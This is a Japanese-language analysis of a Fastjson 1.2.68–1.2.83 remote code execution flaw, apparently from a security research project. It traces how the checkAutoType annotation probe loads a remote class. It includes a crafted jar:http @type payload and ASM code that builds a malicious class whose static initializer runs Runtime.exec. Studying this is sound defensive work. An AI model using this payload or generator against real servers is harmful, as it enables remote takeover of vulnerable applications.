
免責事項:本プロジェクトは認可された環境におけるセキュリティ研究および学習のみを目的としています。未認可のシステムに対するテストは禁止されており、使用による結果は使用者自身が負うものとします。
CVSS 9.0、Fastjson 1.2.68~1.2.83 に影響。AutoType の有効化は不要で、サードパーティ製 Gadget も不要、デフォルト設定のまま悪用可能。
脆弱性の入口は com.alibaba.fastjson.parser.ParserConfig.checkAutoType にあります。JSON.parse(body) を呼び出す場合でも JSON.parseObject(body, Foo.class) を呼び出す場合でも、最終的にはこのメソッドに入ります。
重要なコードパス(fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
AutoType スイッチ(autoTypeSupport)は①に入るかどうかだけを制御し、②のアノテーション検出は無条件に実行されます。②で jsonType が true になれば、③の型ロードと④のセキュリティチェックのスキップが相次いで発動します。
String resource = typeName.replace('.', '/') + ".class";
typeName は JSON 内の @type の値であり、攻撃者が完全に制御できます。本来の意図は com.example.Foo を com/example/Foo.class に変換することですが、入力が URL の場合、これは URL コンストラクタになってしまいます。
hostname 内の . も置換されるため、攻撃者は整数 IP を使って回避します。127.0.0.1 の 32 ビット符号なし整数は 2130706433 です:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //、.probe! → /probe!/ に変換し、正当な jar:http:// リソースロケータを取得します。
is = defaultClassLoader.getResourceAsStream(resource);
getResourceAsStream が jar:http:// をリモートリソースとして解決できるかどうかは、ClassLoader の種類に完全に依存します:
| ClassLoader | 動作 |
|---|---|
JDK AppClassLoader | ローカルの classpath のみを検索 → null |
Tomcat WebappClassLoader(独立 WAR) | WEB-INF/lib のみを検索 → null |
Spring Boot LaunchedURLClassLoader(fat-JAR) | jar:http:// をサポート → HTTP で外部に出てバイトコードを取得 |
ここに紛らわしい点が一つあります。Spring Boot が Tomcat を内蔵する場合、アプリケーションクラスの ClassLoader は LaunchedURLClassLoader であり、WebappClassLoader ではありません。そのため、内蔵 Tomcat/Jetty/Undertow はすべて影響範囲に含まれます。
is != null の場合、攻撃者がホストするリモート class バイトコードはすでに JVM メモリに入っています。
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson は ASM を使ってバイトコードをスキャンし、@com.alibaba.fastjson.annotation.JSONType アノテーションが含まれているかをチェックします。設計意図はパフォーマンス最適化であり、アノテーションによって Fastjson が管理する型を素早く識別することにあります。しかしここではアノテーションの存在のみをチェックし、バイトコードの出所を検証せず、クラス名もチェックせず、出所も制限していません。攻撃者のリモート class は @JSONType を付けるだけで jsonType=true の判定を得られます。
catch (Exception e) {} が空であることに注意してください。攻撃者は一切のエラーを受け取りません。

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true で条件を満たします。loadClass は標準のクラスロードフローに従い、defineClass を経てバイトコードを JVM の Class オブジェクトとして登録します。
2つの概念を区別する必要があります。defineClass が完了するのはクラス定義(JVM への登録)であり、<clinit> はクラス初期化フェーズで実行されます。両フェーズは同一リクエスト内で完了する可能性がありますが、JVM 仕様上は独立しています。
if (jsonType) {
return clazz;
}
この行は以降のすべての防御をスキップします:
ClassLoader/DataSource/RowSet のハードコードされたインターセプトdenyList ブラックリストexpectClass.isAssignableFrom(clazz) 型チェックこれにより、parseObject(body, Dto.class) が防げない理由も説明できます。型バインディングチェックはクラスロードの後に行われますが、攻撃コードはロード段階ですでに実行されているのです。
攻撃者は、3つの条件を満たすバイトコードファイルを生成する必要があります。@JSONType アノテーションを保持し、<clinit> に攻撃コードを埋め込み、HTTP 経由でホストすることです。
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
悪意のあるロジックは <clinit> を介してトリガーされ、クラスがロードされると即座に実行されます。
このチェーンの本質は、Fastjson のアノテーション検出をリモートクラスローダーに変えることです。攻撃者は @type の値を制御し、文字列変換によって URL を構築し、getResourceAsStream を利用して SSRF を発起してバイトコードを取得し、@JSONType アノテーションで ASM プローブのチェックを通過し、loadClass を経てクラス定義を完了し、最後に return clazz によってすべてのセキュリティチェックを回避します。